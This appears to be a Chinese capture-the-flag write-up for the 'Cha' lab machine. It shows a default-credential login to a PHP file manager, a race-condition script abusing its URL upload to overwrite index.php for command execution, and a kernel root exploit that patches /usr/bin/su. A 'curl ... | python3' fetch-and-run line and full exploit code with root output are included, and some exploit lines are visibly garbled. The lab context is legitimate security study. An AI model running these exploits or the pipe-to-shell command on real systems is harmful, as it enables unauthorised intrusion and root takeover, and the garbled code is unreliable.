

Cha

靶机: Cha
作者: 群主 (QQ: 1045670921)
靶机ID: 640
系统: Linux
难度: Easy

条件竞争

选择项目

Default

刷新

共1行

192.168.56.113

端口

☐ Web端口

☐ Top100

☒ Top1000

☒ 过滤打印机

配置

☐ 常见RCE

☐ 精简端口

☐ 全端口

☐ 自定义

21,22,23,25,53,69,80,81,88,89,110,135,161,445,139,137,143,389,443,512,513,514,548,873,1433,1521,2181,3306,3389,3690,4848,5000,5001,5432,5632,5900,5901,5902,6379,7000,7001,7002,8000,8001,8007

存活

100%

Scan

Stop

导出

线程

200

超时(ms)

3000

密码破解

☐

POC检测

☐

端口指纹

☒

开启代理

☐

存活探测

None

配置启发式扫描

探测

100.00%

扫出来一个file.php，是一个文件管理系统，找到github项目，admin:admin@123默认密码可以登录

尝试一下可以发现目录没有写权限，不能直接编辑index.php，也不能创建文件。

网上搜了一下相关的cve，发现这个地方存在ssrf，重点测试了一下，发现同名文件是可以upload成功的来进行覆盖的，但是首页没能发生变化，所以怀疑是有实时的脚本对index.php进行还原

Upload Files

Upload from URL

Destination Folder:

http://192.168.56.1:8001/index.php?v=show

Uploaded Successful: index.php?v=show

尝试一下打竞争，让ai搓了个脚本：

```
import re, requests, random, sys
BASE='http://192.168.56.113/file.php'
TARGET='http://192.168.56.113/index.php'
PAYLOAD='http://192.168.56.1:8001/index.php?v=exec3'
```

```

if len(sys.argv) > 2 and sys.argv[1] in ('-f', '--file'):
    with open(sys.argv[2], 'r', encoding='utf-8') as fh:
        CMD = fh.read().strip()
elif len(sys.argv) > 1:
    CMD=' '.join(sys.argv[1:])
else:
    CMD=sys.stdin.read().strip() or 'id'
s=requests.Session()
s.headers['Connection']='keep-alive'
r=s.get(BASE, timeout=10)
t=re.search(r'name="token" value="([0-9a-f]{64})"', r.text).group(1)
r=s.post(BASE, data={'fm_usr': 'admin', 'fm_pwd': 'admin@123', 'token': t},
timeout=10)
m=re.search(r'name="token" value="([0-9a-f]{64})"', r.text)
if m: t=m.group(1)
for round in range(35):
    try:
        s.post(BASE+'?p=&upload', data=
{'type': 'upload', 'uploadurl': PAYLOAD, 'token': t, 'ajax': 'true'}, timeout=10)
    except Exception:
        continue
    for i in range(40):
        try:
            rr=s.get(TARGET, params={'l': CMD, 'x': str(random.random())},
timeout=8)
            txt=rr.text
        except Exception:
            continue
        if 'RET=' in txt or 'Array' in txt or 'uid=' in txt or 'No such file
or directory' in txt or 'Permission denied' in txt or 'Traceback' in txt or
'SyntaxError' in txt:
            sys.stdout.write(txt)
            raise SystemExit(0)
    raise SystemExit('failed to hit race')

```

```

026长城杯决赛/HETraining/fm_exec.py "id"
RET=0\nArray
(
  [0] => uid=33(www-data) gid=33(www-data) groups=33(www-data)
)

```

copy-fail-CVE-2026-31431

进去之后提权确实没有思路，就想着打打今天早上刚刚爆的这个洞

直接用这个 `curl https://copy.fail/exp | python3 && su` 会报错，python版本是3.9，怀疑是python的问题，原payload改一下：

```
#!/bin/sh
```

```
set -eu
```

```
python3 - <<'PY'
```

```
import os
```

```
import zlib
```

```
import socket
```

```
import ctypes
```

```
def d(x):
```

```
    return bytes.fromhex(x)
```

```
libc = ctypes.CDLL(None, use_errno=True)
```

```
_splice = libc.splice
```

```
_splice.argtypes = [
```

```
    ctypes.c_int,
```

```
    ctypes.POINTER(ctypes.c_longlong),
```

```
    ctypes.c_int,
```

```
    ctypes.POINTER(ctypes.c_longlong),
```

```
    ctypes.c_size_t,
```

```
    ctypes.c_uint,
```

```
]
```

```
_splice.restype = ctypes.c_ssize_t
```

```
def splice(fd_in, fd_out, length, offset_src=None, offset_dst=None):
```

```
    src = ctypes.c_longlong(offset_src) if offset_src is not None else None
```

```
    dst = ctypes.c_longlong(offset_dst) if offset_dst is not None else None
```

```
    ret = _splice(
```

```
        fd_in,
```

```
        ctypes.byref(src) if src is not None else None,
```

```
        fd_out,
```

```
        ctypes.byref(dst) if dst is not None else None,
```

```
        length,
```

```
        0,
```

```
    )
```

```
    if ret < 0:
```

```
        err = ctypes.get_errno()
```

```
        raise OSError(err, os.strerror(err))
```

```
def write_chunk(fd, offset, chunk):
```

```
    sock = socket.socket(38, 5, 0)
```

```
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
```

```
    ALG_SET_KEY = 1
```

```
    ALG_SET_AEAD_AUTHSIZE = 5
```

```
    ALG_SET_IV = 2
```

```
    ALG_SET_OP = 3
```

```
    ALG_SET ASSOCLLEN = 4
```

```
    SOL_ALG = 279
```

```
    zero = d("00")
```

```

sock.setsockopt(SOL_ALG, ALG_SET_KEY, d("0800010000000010" + "0" * 64))
sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
op, _ = sock.accept()

size = offset + 4
op.sendmsg(
    [b"A" * 4 + chunk],
    [
        (SOL_ALG, ALG_SET_OP, zero * 4),
        (SOL_ALG, ALG_SET_IV, b"\x10" + zero * 19),
        (SOL_ALG, ALG_SET ASSOCLN, b"\x08" + zero * 3),
    ],
    32768,
)

rfd, wfd = os.pipe()
splice(fd, wfd, size, offset_src=0)
splice(rfd, op.fileno(), size)
try:
    op.recv(8 + offset)
except Exception:
    pass

fd = os.open("/usr/bin/su", 0)
payload = zlib.decompress(
    d(

"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d169
99e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacf
a499979fac5190c0c0c0032c310d3"
    )
)

for i in range(0, len(payload), 4):
    write_chunk(fd, i, payload[i:i+4])

print("PATCH_DONE")
PY

echo "[*] /usr/bin/su:"
file /usr/bin/su || true
echo "[*] quick root check:"
printf 'id\nwhoami\nexit\n' | /usr/bin/su

```

```
PS D:\Xiaohao\Desktop\CTF\2026长城杯决赛\HETraining> python fm_exec.py -f copyfail_py39.sh
>>
RET=0\nArray
(
  [0] => PATCH_DONE
  [1] => [*] /usr/bin/su:
  [2] => /usr/bin/su: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked,
no section header
  [3] => [*] quick root check:
  [4] => uid=0(root) gid=33(www-data) groups=33(www-data)
  [5] => root
)
```

```
PS D:\Xiaohao\Desktop\CTF\2026长城杯决赛\HETraining> python root_exec.py "id; whoami; cat /root/root.txt"
RET=0\nArray
(
  [0] => uid=0(root) gid=33(www-data) groups=33(www-data)
  [1] => root
  [2] => hahaha
)
```

不知道预期的提权思路是什么，期待学习一下。